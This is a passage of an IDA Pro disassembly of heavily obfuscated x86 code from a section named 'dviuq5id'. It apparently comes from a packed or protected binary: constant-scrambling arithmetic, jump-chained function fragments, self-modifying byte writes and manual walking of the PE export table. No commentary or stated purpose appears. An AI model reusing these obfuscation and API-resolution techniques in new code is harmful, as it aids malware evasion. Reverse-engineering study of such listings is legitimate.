loc_442C97:				; CODE XREF: sub_4427AE:loc_442410j
		pop	esi
		rol	esi, 0Bh
		sub	esi, 0E05200Eh
		rol	esi, 0Fh

loc_442CA4:				; CODE XREF: dviuq5id:loc_44AC8Fj
		cmp	esi, 83BD44C3h
		jmp	loc_4429CF
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_442CAF:				; CODE XREF: sub_4437F7+14369j
		xchg	ecx, ebx
		test	edx, ecx
		jmp	loc_43BF03
; END OF FUNCTION CHUNK	FOR sub_4437F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_442CB8:				; CODE XREF: sub_4512BC:loc_45604Bj
		jl	loc_444EBA
; END OF FUNCTION CHUNK	FOR sub_4512BC
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_442CBE:				; CODE XREF: sub_43EB11+111C9j
		jmp	loc_43FADA
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		cdq
		cmp	edx, ebx
		jmp	loc_444EB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457EED

loc_442CCB:				; CODE XREF: sub_457EED-142DCj
		sub	ecx, 0D40C6C53h

loc_442CD1:				; CODE XREF: sub_457EED:loc_44C1B1j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_441968
		jmp	loc_4443F9
; END OF FUNCTION CHUNK	FOR sub_457EED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E67C

loc_442CE2:				; CODE XREF: sub_43E67C+10j
		xor	ebx, 0A1B289EAh
		sub	ebx, 0D8A8AAFAh

loc_442CEE:				; CODE XREF: dviuq5id:0044CA51j
		xor	ebx, 24537B52h
		add	ebx, ebp
		add	ebx, 58080F92h
		mov	al, [ebx]
		jmp	loc_44E932
; END OF FUNCTION CHUNK	FOR sub_43E67C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB86

loc_442D03:				; CODE XREF: sub_44DB86+10j
		mov	byte ptr [eax],	0C3h
		jmp	loc_441E62
; END OF FUNCTION CHUNK	FOR sub_44DB86
; ---------------------------------------------------------------------------
		call	nullsub_486
		jmp	ds:dword_41D1B4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_486. PRESS KEYPAD	"+" TO EXPAND]
		db 8Fh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452189

loc_442D1B:				; CODE XREF: sub_452189-C36Aj
		jmp	loc_44F943
; END OF FUNCTION CHUNK	FOR sub_452189
; ---------------------------------------------------------------------------
		shr	eax, 1Eh
		jmp	loc_44511F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_442D28:				; CODE XREF: sub_446682-6A3Cj
		rol	edx, 16h
		mov	ecx, ebx
		shr	eax, 1Eh
		call	sub_43EA36

loc_442D35:				; CODE XREF: sub_441DAE+2F63j
		jmp	nullsub_324
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------

loc_442D3A:				; CODE XREF: dviuq5id:00454756j
					; dviuq5id:0045591Bj
		jo	loc_44DA80
		or	ecx, eax
		jmp	loc_440359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_442D47:				; CODE XREF: sub_44AB80-7B4Ej
		pop	ecx
		xchg	ebx, [esp+8+var_8]
		mov	edx, ebx
		mov	ebx, 6F4056EFh
		jmp	loc_445A4C
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400A1

loc_442D57:				; CODE XREF: sub_4400A1+10j
		or	ebx, 0ADDEFFAFh
		rol	ebx, 6
		jb	loc_450DDC

loc_442D66:				; CODE XREF: dviuq5id:0044A362j
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_4400A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AC6

loc_442D6B:				; CODE XREF: sub_449AC6+Fj
		jmp	loc_4539AF
; END OF FUNCTION CHUNK	FOR sub_449AC6
; ---------------------------------------------------------------------------
		jnb	loc_44D74B
		push	eax
		shl	eax, 0Ah
		adc	ebp, edx
		jmp	loc_43E103
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_442D81:				; CODE XREF: dviuq5id:loc_43E367j
					; sub_44EAC4:loc_453DC0j
		pushf
		add	ebp, eax
		adc	ebx, esi
		mov	[edx], ebx
		jmp	loc_447E3C
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_442D8E:				; CODE XREF: sub_43C3D8+167BEj
		jmp	nullsub_519
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------

loc_442D93:				; CODE XREF: dviuq5id:0044E709j
		jmp	loc_443CF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_442D98:				; CODE XREF: sub_44C50A-6F69j
		jmp	loc_452A07
; END OF FUNCTION CHUNK	FOR sub_44C50A

; =============== S U B	R O U T	I N E =======================================



sub_442D9D	proc near		; DATA XREF: dviuq5id:00441A1Eo

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00454DA7 SIZE 00000019 BYTES

		push	ebx
		push	51AE67FEh
		xchg	esi, [esp+8+var_8]
		mov	ebx, esi
		pop	esi
		jmp	loc_454DA7
sub_442D9D	endp

; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_45A1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_442DB5:				; CODE XREF: sub_459490:loc_44FB57j
		call	sub_444EE2
		xchg	eax, [ecx]
		jmp	loc_4556AB
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_442DC1:				; CODE XREF: sub_458F2A:loc_456D22j
		call	sub_444F0F
		mov	eax, 4AC5B528h
		push	esi
		push	0E816BE7Ah
; END OF FUNCTION CHUNK	FOR sub_458F2A
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_442DD1:				; CODE XREF: sub_441DDA-60FDj
		pop	esi
		sub	esi, ds:4000F8h
		xor	esi, 0BB2AF683h
		add	esi, 7E52515Ah
		jmp	loc_44D9BE
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

locret_442DE9:				; CODE XREF: dviuq5id:00449D9Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_442DEA:				; CODE XREF: sub_43B1C4+19E4Dj
		jmp	loc_4494F7
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_442DEF:				; CODE XREF: sub_439C09+6j
		jmp	loc_44EE2F
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_442DF4:				; CODE XREF: sub_4463B7:loc_4463BCj
		and	edi, 4B0D67EAh
		rol	edi, 5
		cmp	edi, 0B5FB2CCCh
		jmp	loc_4448D3
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_442E08:				; CODE XREF: sub_43CB05+50C1j
		sub	eax, 0D7B68C9Fh

loc_442E0E:				; CODE XREF: sub_43CB05:loc_4540EFj
		jmp	loc_44813D
; END OF FUNCTION CHUNK	FOR sub_43CB05
; ---------------------------------------------------------------------------
		jmp	loc_43D4FE

; =============== S U B	R O U T	I N E =======================================



sub_442E18	proc near		; CODE XREF: sub_455600+3j
		add	esp, 0FFFFFFF0h
		push	offset loc_44A1A8
		jmp	nullsub_215
sub_442E18	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_442E25:				; CODE XREF: sub_4427AE:loc_4427B6j
		cmp	[ebp+var_8], 0
		jz	loc_43FCCB
		jmp	loc_454E22
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------

loc_442E34:				; CODE XREF: dviuq5id:loc_44795Cj
		mov	eax, [ebp-1Ch]
		mov	edx, [ebp-14h]
		mov	[eax], edx
; START	OF FUNCTION CHUNK FOR sub_459983

loc_442E3C:				; CODE XREF: sub_459983-7CDFj
		jz	loc_4529C3
		push	18CC91D1h

loc_442E47:				; CODE XREF: dviuq5id:00458000j
		xchg	edx, [esp+0]
		jmp	loc_457D35
; END OF FUNCTION CHUNK	FOR sub_459983

; =============== S U B	R O U T	I N E =======================================



sub_442E4F	proc near		; CODE XREF: sub_439013+10F02p
					; dviuq5id:00455E90j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044972F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C3DB SIZE 00000025 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_44C3DB
sub_442E4F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_442E5C:				; CODE XREF: dviuq5id:loc_450C5Fj
		jno	loc_4428A6

; =============== S U B	R O U T	I N E =======================================



sub_442E62	proc near		; CODE XREF: sub_446B53:loc_4481CCp
		xchg	eax, [esp+0]
		pop	eax
		call	sub_44E3BA
		retn
sub_442E62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F44

loc_442E6C:				; CODE XREF: sub_443F44+8j
		jmp	nullsub_45
; END OF FUNCTION CHUNK	FOR sub_443F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_442E71:				; CODE XREF: sub_459385-1738j
		push	esi
		push	8ED7DA9Dh
		jmp	loc_4459A2
; END OF FUNCTION CHUNK	FOR sub_459385
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_379. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_442E7D:				; CODE XREF: sub_4442C5-9462j
		jmp	nullsub_220
; END OF FUNCTION CHUNK	FOR sub_4442C5
; ---------------------------------------------------------------------------

loc_442E82:				; CODE XREF: dviuq5id:00453BBCj
		add	esi, 5F5E2608h
		xor	esi, 7A95CE28h
		add	esi, ebp
		jmp	loc_450BCD
; ---------------------------------------------------------------------------

loc_442E95:				; CODE XREF: dviuq5id:004442F7j
		jl	loc_457006
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_442E9B:				; CODE XREF: sub_455B54:loc_4442DEj
		and	edi, ds:4000F1h
		add	edi, 6E220D61h
		add	edx, edi
		pop	edi
		jmp	loc_43E16C
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------
		jnz	loc_459678
		or	edx, edi
		jmp	sub_43F623
; ---------------------------------------------------------------------------

loc_442EBC:				; CODE XREF: dviuq5id:00444803j
		mov	esi, edi
		pop	edi
		and	esi, 9D5ED9E7h
		add	esi, 703DCC32h
		xchg	esi, [esp]
		jmp	nullsub_480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_442ED3:				; CODE XREF: sub_43FDFB+8ABBj
		jbe	loc_43FB09

loc_442ED9:				; CODE XREF: sub_43FDFB:loc_443DABj
		call	sub_456F43
		push	96AF8D22h
		pop	edx
		sub	edx, 99F136D3h
		or	edx, 0D8CEA46Fh

loc_442EF0:				; CODE XREF: dviuq5id:00448859j
		and	edx, 827ABFBCh
		jmp	loc_43F53E
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4439EF

loc_442EFB:				; CODE XREF: sub_4439EF+16j
		pop	edx
		sub	edx, 0F423DFAAh
		or	edx, 57552E33h
		push	offset loc_451AA2
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_4439EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E810

loc_442F12:				; CODE XREF: sub_44E810:loc_445FFAj
		call	sub_453046

loc_442F17:				; CODE XREF: sub_446CFB+13217j
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_44E810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_442F1C:				; CODE XREF: sub_44A94D+5BEBj
		jz	loc_44B669
; END OF FUNCTION CHUNK	FOR sub_44A94D
; START	OF FUNCTION CHUNK FOR sub_43EE53

loc_442F22:				; CODE XREF: sub_43EE53+146C3j
		jmp	loc_45346B
; END OF FUNCTION CHUNK	FOR sub_43EE53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_442F27:				; CODE XREF: sub_44CBA2-2A7Bj
		jmp	loc_457E44
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
		push	7AF34B0Fh
		mov	eax, 0BCB4AEFDh
		jmp	loc_44B666
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446C41

loc_442F3B:				; CODE XREF: sub_446C41:loc_4545F9j
		or	ecx, 77F99A10h
		add	ecx, offset byte_46B9D9
		xchg	ecx, [esp+4+var_4]
		jmp	sub_43FEBB
; END OF FUNCTION CHUNK	FOR sub_446C41
; ---------------------------------------------------------------------------

loc_442F4F:				; CODE XREF: dviuq5id:004418E9j
		push	edx
		push	ecx
		cmp	eax, ecx

loc_442F53:				; CODE XREF: dviuq5id:00448560j
		jnb	loc_448FA6
		and	edx, ecx
		jmp	loc_453F6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_442F60:				; CODE XREF: sub_43BD72:loc_442F70j
		jge	loc_4587F0

loc_442F66:				; CODE XREF: sub_45A4C9-2BBFj
		jmp	loc_4554C9
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_442F6B:				; CODE XREF: sub_448154+E8B0j
		jmp	loc_447D81
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_442F70:				; CODE XREF: sub_43BD72+18D6Bj
		jmp	loc_442F60
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_442F75:				; CODE XREF: sub_43FA59+4C52j
		jmp	loc_43DB07
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		adc	edi, ebx
		jmp	loc_4587E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_442F81:				; CODE XREF: sub_449485-BDE6j
		jns	loc_43E69C
		sub	ecx, 35D8933Dh
		jz	loc_43E73A

loc_442F93:				; CODE XREF: sub_449485:loc_44A66Ej
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43FEA2
		jmp	loc_43CE63
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------

loc_442FA4:				; CODE XREF: dviuq5id:0044B25Aj
		adc	esi, ecx

loc_442FA6:				; CODE XREF: dviuq5id:loc_44B249j
		or	edx, 0CB5E2BECh
		add	edx, 0C4AD15h
		xchg	edx, [esp]
		jmp	loc_450514

; =============== S U B	R O U T	I N E =======================================



sub_442FBA	proc near		; CODE XREF: dviuq5id:0043C8AEj
					; sub_44C80D-7818p

; FUNCTION CHUNK AT 00455823 SIZE 00000014 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebx
		push	0CFA834CDh
		pop	ebx
		add	ebx, 7662AF75h
		and	ebx, 685F87B8h
		xor	ebx, 26EF29Eh
		jmp	loc_455823
sub_442FBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:dword_41D19C, eax
		lea	eax, nullsub_453
		call	sub_458E76
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_442FED:				; CODE XREF: sub_44FCBC-ACF5j
		jmp	nullsub_372
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D9CE

loc_442FF2:				; CODE XREF: sub_43D9CE+Dj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43D9CE
; ---------------------------------------------------------------------------

loc_442FF7:				; DATA XREF: sub_446181-B335o
		call	sub_453642

loc_442FFC:				; CODE XREF: dviuq5id:loc_449D70j
		push	offset loc_44A232
		jmp	locret_43CF94
; ---------------------------------------------------------------------------
		add	edx, 42CB4D3Fh
		jmp	sub_44CA06
; ---------------------------------------------------------------------------
		or	esi, 0A7695513h
		jmp	sub_448B0A
; ---------------------------------------------------------------------------

loc_44301C:				; CODE XREF: dviuq5id:00456A38j
		test	eax, edi
		jmp	loc_446851
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_443023:				; CODE XREF: sub_44AB80-107E1j
		jnb	loc_439386

loc_443029:				; CODE XREF: sub_439A5E+6390j
					; sub_454094:loc_4458F7j ...
		jmp	loc_445145
; ---------------------------------------------------------------------------

loc_44302E:				; CODE XREF: sub_439A5E+4D4Ej
					; sub_44AB80+5C15j
		xchg	edx, [esp+8+var_8]
		push	edx
		jmp	loc_442D47
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_443037:				; CODE XREF: sub_440898:loc_43FC4Bj
					; sub_440898+8D76j
		call	sub_459385
		lea	eax, sub_45055F
		mov	[ebp-4], eax
		call	sub_443328
		push	edi
		jmp	loc_456D33
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_43FF18
; ---------------------------------------------------------------------------
		xchg	ecx, [edx]
		jmp	loc_43BA46
; ---------------------------------------------------------------------------

loc_44305D:				; CODE XREF: dviuq5id:0043F3A3j
		push	0
		push	3E4A84A0h
		pop	eax
		and	eax, 0D45E5305h
		xor	eax, 52B8A94Ah
		sub	eax, 0D75CD3ECh
		add	eax, 0FB3A6A42h
		add	eax, ebp
		jmp	loc_43E3D8
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_453523
		jmp	loc_445755
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_443091:				; CODE XREF: sub_4452A6+6D62j
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]

loc_443097:				; CODE XREF: sub_4452A6:loc_443E52j
		call	sub_443977

loc_44309C:				; CODE XREF: sub_44FB20+21j
		jmp	loc_43F994
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_4430A1:				; CODE XREF: sub_43C710+442Fj
					; sub_43CB4C:loc_441C1Fj
		push	edi
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_4430A2:				; CODE XREF: sub_43C710:loc_43C71Fj
		push	0F97FB255h
		pop	eax
		xor	eax, 3CD431C3h
		test	eax, 10h
		jmp	loc_44FE99
; END OF FUNCTION CHUNK	FOR sub_43C710

; =============== S U B	R O U T	I N E =======================================



sub_4430B9	proc near		; CODE XREF: dviuq5id:00439242j
					; sub_44FB5C-C8A9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044B074 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ecx, 4EC1784h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_44B074
sub_4430B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4430CB:				; CODE XREF: dviuq5id:00439235j
		xor	esi, 9A52EB94h
		add	eax, esi
		pop	esi
		rol	eax, 0Dh
; START	OF FUNCTION CHUNK FOR sub_458527

loc_4430D7:				; CODE XREF: sub_458527+211Aj
		add	eax, 8F08DD86h
		xor	eax, 82C3FBCh
		sub	eax, 8E2CED3Eh
		push	ebx
		jmp	loc_44F06B
; END OF FUNCTION CHUNK	FOR sub_458527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4430EF:				; CODE XREF: sub_43C4B5+10E3Cj
					; sub_43C4B5:loc_450486j
		push	87E57573h
		pop	eax
		xor	eax, 369F53AFh
		push	offset loc_44EA18
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_443105:				; CODE XREF: sub_43ED10:loc_43EEBCj
		and	ebp, 0CA378E0Fh
		or	edx, 72211605h
		cmp	eax, 20962D09h
		jmp	loc_446066
; END OF FUNCTION CHUNK	FOR sub_43ED10
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_455. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jo	loc_447A5D
		jmp	sub_44E389
; ---------------------------------------------------------------------------

loc_443128:				; CODE XREF: dviuq5id:loc_445138j
					; DATA XREF: sub_449C42-C5D1o
		call	sub_446A1C
; START	OF FUNCTION CHUNK FOR sub_459825

loc_44312D:				; CODE XREF: sub_449C42:loc_43D668j
					; sub_44AC6E+8AEj ...
		jnz	loc_45708C
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_43EC62
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jmp	loc_457074
; END OF FUNCTION CHUNK	FOR sub_459825
; ---------------------------------------------------------------------------
		or	edx, ebp
		jmp	sub_43C8F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3F1

loc_443154:				; CODE XREF: sub_43F3F1+E728j
		add	ebp, 38726A6Dh
; END OF FUNCTION CHUNK	FOR sub_43F3F1
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_44315A:				; CODE XREF: sub_43A160:loc_4449D3j
		and	ecx, esi
		pushf

loc_44315D:				; CODE XREF: sub_43F3F1:loc_44DB0Ej
		add	eax, 0CEC8BA02h
		xor	eax, 0ABC63378h
		add	edx, eax
		pop	eax
		mov	edx, [edx]
		jmp	loc_453725
; END OF FUNCTION CHUNK	FOR sub_43A160

; =============== S U B	R O U T	I N E =======================================



sub_443173	proc near		; DATA XREF: sub_450905+2888o

; FUNCTION CHUNK AT 0044E4C2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00454B82 SIZE 0000001A BYTES

		push	edi
		push	0E28B27E3h
		pop	edi
		sub	edi, 9C4603E3h
		and	edi, 0C1503CE1h
		or	edi, 114A1729h
		jmp	loc_454B82
sub_443173	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443192:				; CODE XREF: dviuq5id:00441A23j
		jmp	locret_452896
; ---------------------------------------------------------------------------

loc_443197:				; CODE XREF: dviuq5id:loc_441845j
		jnz	loc_45A349
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_44319D:				; CODE XREF: sub_447ECD+EACDj
		jmp	loc_44B903
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_4431A2:				; CODE XREF: sub_442913:loc_45127Ej
		sbb	ecx, esi
		jmp	loc_45A343
; END OF FUNCTION CHUNK	FOR sub_442913
; ---------------------------------------------------------------------------

loc_4431A9:				; CODE XREF: dviuq5id:004520ACj
		jns	loc_43E636
		jbe	loc_44AC3A
		jmp	loc_43FA12
; ---------------------------------------------------------------------------

loc_4431BA:				; CODE XREF: dviuq5id:0044E6BAj
		jz	loc_45924D
		jmp	loc_44F19B
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_443580
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D24F

loc_4431CB:				; CODE XREF: sub_43D24F+17j
		add	eax, 0A65BBFC8h
		call	sub_454088

loc_4431D6:				; CODE XREF: sub_44846C+5BEj
		jmp	loc_44E0BA
; END OF FUNCTION CHUNK	FOR sub_43D24F
; ---------------------------------------------------------------------------
		push	0AF19C973h
		pop	eax
		add	eax, 0CF7FED2Dh
		rol	eax, 11h
		jmp	loc_45652E
; ---------------------------------------------------------------------------

loc_4431EF:				; CODE XREF: dviuq5id:0045A639j
		jz	loc_458C35
		jmp	loc_453854
; ---------------------------------------------------------------------------

loc_4431FA:				; CODE XREF: dviuq5id:00440490j
					; dviuq5id:loc_445755j
		push	2
		push	400h
		lea	eax, [ebp-400h]
		push	edx
		mov	edx, eax
		jmp	loc_44C04D
; ---------------------------------------------------------------------------

loc_44320F:				; DATA XREF: sub_44F0C2-132DAo
		jno	loc_439A77
		sub	al, 99h
		push	790C0A34h
		pop	edx
		jmp	loc_456947

; =============== S U B	R O U T	I N E =======================================



sub_443222	proc near		; CODE XREF: sub_443222+73EEp
					; dviuq5id:0045443Aj

; FUNCTION CHUNK AT 0043F739 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A3C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A604 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B43A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455801 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00459FF8 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jmp	loc_459FF8
sub_443222	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_443235:				; CODE XREF: dviuq5id:0045738Fj
		and	ebp, ebx
		push	92FD851Dh

loc_44323C:				; CODE XREF: dviuq5id:00457379j
		sub	esi, 0FCE9DE16h
		cmp	esi, 3FB60CB5h
		jmp	loc_44A7A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_44324D:				; CODE XREF: sub_445707:loc_4407F8j
		adc	eax, ebx
		jmp	loc_44B64F
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_443254:				; CODE XREF: sub_446544+4j
		mov	esp, ebp
		xchg	eax, [esp+0]
		push	eax
		pop	ebp
		jmp	loc_440536
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_443260:				; CODE XREF: sub_452D9B+Aj
		or	esi, 0F5A30E64h
		rol	esi, 0Ah
		and	esi, ds:4000F1h
		sub	esi, 0C832D4CBh

loc_443275:				; CODE XREF: sub_440898+13E9Ej
		add	esi, 46B73039h
		add	esi, ebp
		add	esi, 78D0B04Ah
		mov	[esi], eax
		jmp	loc_440A5B
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C162

loc_44328A:				; CODE XREF: sub_43C162:loc_43ED70j
		add	edx, 87A7659Eh
		xor	eax, edx
		pop	edx
		ror	eax, 1Dh
		push	esi
		push	0E3CD37Bh
		jmp	loc_44F996
; END OF FUNCTION CHUNK	FOR sub_43C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FB5C

loc_4432A1:				; CODE XREF: sub_44FB5C+15j
		mov	eax, 3CC6743Ch
		push	ecx
		push	7B1334C6h
		pop	ecx
		or	ecx, 0A3456CD9h
		call	sub_4430B9

loc_4432B8:				; CODE XREF: dviuq5id:004528EAj
		jmp	sub_44E763
; END OF FUNCTION CHUNK	FOR sub_44FB5C
; ---------------------------------------------------------------------------

locret_4432BD:				; CODE XREF: dviuq5id:0044F4EBj
		retn
; ---------------------------------------------------------------------------

loc_4432BE:				; DATA XREF: sub_45288A:loc_43DA60o
		call	sub_44E3BA
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4432C4	proc near		; CODE XREF: sub_454228-7EF8j
					; dviuq5id:loc_4507F3j

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0043A97C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441826 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448AD3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452B67 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00456B58 SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		call	sub_43E4A4

loc_4432CF:				; CODE XREF: sub_44D1BB+Aj
		jmp	loc_456B58
sub_4432C4	endp

; ---------------------------------------------------------------------------

loc_4432D4:				; CODE XREF: dviuq5id:00446B4Ej
		jmp	locret_452ACB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_4432D9:				; CODE XREF: sub_4483A4-CA4Bj
		jmp	sub_45A310
; END OF FUNCTION CHUNK	FOR sub_4483A4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_4432DF:				; CODE XREF: dviuq5id:00454219j
					; sub_44C80D+C059j
		jmp	nullsub_339
